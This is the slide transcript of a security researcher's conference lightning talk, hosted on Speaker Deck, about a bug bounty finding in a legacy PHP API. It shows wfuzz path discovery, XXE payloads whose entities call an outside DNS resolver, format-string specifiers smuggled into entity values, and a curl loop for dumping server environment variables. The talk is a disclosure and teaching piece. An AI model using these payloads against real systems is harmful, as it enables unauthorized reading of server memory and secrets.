Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Web based format injection, dumping memory like...
Search
Frans Rosén
September 19, 2018
Research
0
140
Web based format injection, dumping memory like it's 99 (or "Please help")
My lightning talk from Sec-T Stockholm in September 2018.
Frans Rosén
September 19, 2018
Tweet
Share
More Decks by Frans Rosén
See All by Frans Rosén
X-Correlation Injections (or How to break server-side contexts)
fransrosen
0
1.5k
Story of a RCE on Apple through hot jar swapping
fransrosen
0
1.2k
Account hijacking using "dirty dancing" in sign-in OAuth-flows
fransrosen
0
290
A methodology using fuzzing and info disclosure
fransrosen
0
360
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
fransrosen
3
9.3k
A story of the passive aggressive sysadmin of AEM
fransrosen
0
8.4k
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
fransrosen
3
7.3k
Other Decks in Research
See All in Research
A scalable, annual aboveground biomass product for monitoring carbon impacts of ecosystem restoration projects
satai
3
180
多言語カスタマーインタビューの“壁”を越える~PMと生成AIの共創~ 株式会社ジグザグ 松野 亘
watarumatsuno
0
120
集合間Bregmanダイバージェンスと置換不変NNによるその学習
wasyro
0
140
Combinatorial Search with Generators
kei18
0
660
Adaptive Experimental Design for Efficient Average Treatment Effect Estimation and Treatment Choice
masakat0
0
160
心理言語学の視点から再考する言語モデルの学習過程
chemical_tree
2
550
経済学と機械学習：因果推論と密度比推定を中心に
masakat0
0
140
単施設でできる臨床研究の考え方
shuntaros
0
2.5k
VectorLLM: Human-like Extraction of Structured Building Contours via Multimodal LLMs
satai
4
140
とあるSREの博士「過程」 / A Certain SRE’s Ph.D. Journey
yuukit
9
4.1k
Towards a More Efficient Reasoning LLM: AIMO2 Solution Summary and Introduction to Fast-Math Models
analokmaus
2
750
電通総研の生成AI・エージェントの取り組み エンジニアリング業務向けAI活用事例紹介
isidaitc
1
890
Featured
See All Featured
Making the Leap to Tech Lead
cromwellryan
134
9.5k
YesSQL, Process and Tooling at Scale
rocio
173
14k
Building an army of robots
kneath
306
46k
Keith and Marios Guide to Fast Websites
keithpitt
411
22k
Mobile First: as difficult as doing things right
swwweet
224
9.9k
Bootstrapping a Software Product
garrettdimon
PRO
307
110k
What's in a price? How to price your products and services
michaelherold
246
12k
Build The Right Thing And Hit Your Dates
maggiecrowley
37
2.8k
The Web Performance Landscape in 2024 [PerfNow 2024]
tammyeverts
9
780
Reflections from 52 weeks, 52 projects
jeffersonlam
351
21k
Why You Should Never Use an ORM
jnunemaker
PRO
59
9.5k
Unsuck your backbone
ammeep
671
58k
Transcript
@fransrosen Web based format injection, dumping memory like it's 99
or "Please help"
@fransrosen Public Bug Bounty
@fransrosen RCE is 30,000 USD
@fransrosen Methodology • Found a domain not like the other
ones
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available 👍 👍 👍
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! Interesting
path: /cgi-bin/default/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! /cgi-bin/default/php/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/php/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen xml_api?
@fransrosen xml_api?
@fransrosen xml_api? YEAH! 👍
@fransrosen wtf!?
@fransrosen XXE!
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> ???
@fransrosen
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> WOAH.
@fransrosen Format String Injection?
@fransrosen Format String Injection ON ZE WEB?
@fransrosen Format String Injection http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen I can’t handle this shit
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Limitations 0x20-0xFF (no 0x22)
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Want to collaborate? @fransrosen
@fransrosen Questions? Suggestions?
fransrosen
.png){kind=avatar}
satai
watarumatsuno
wasyro
kei18
masakat0
chemical_tree
shuntaros
yuukit
analokmaus
isidaitc
cromwellryan
rocio
kneath
keithpitt
swwweet
garrettdimon
michaelherold
maggiecrowley
tammyeverts
jeffersonlam
jnunemaker
ammeep
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_27.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_28.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_33.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_34.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_35.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_36.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_37.jpg){kind=link}
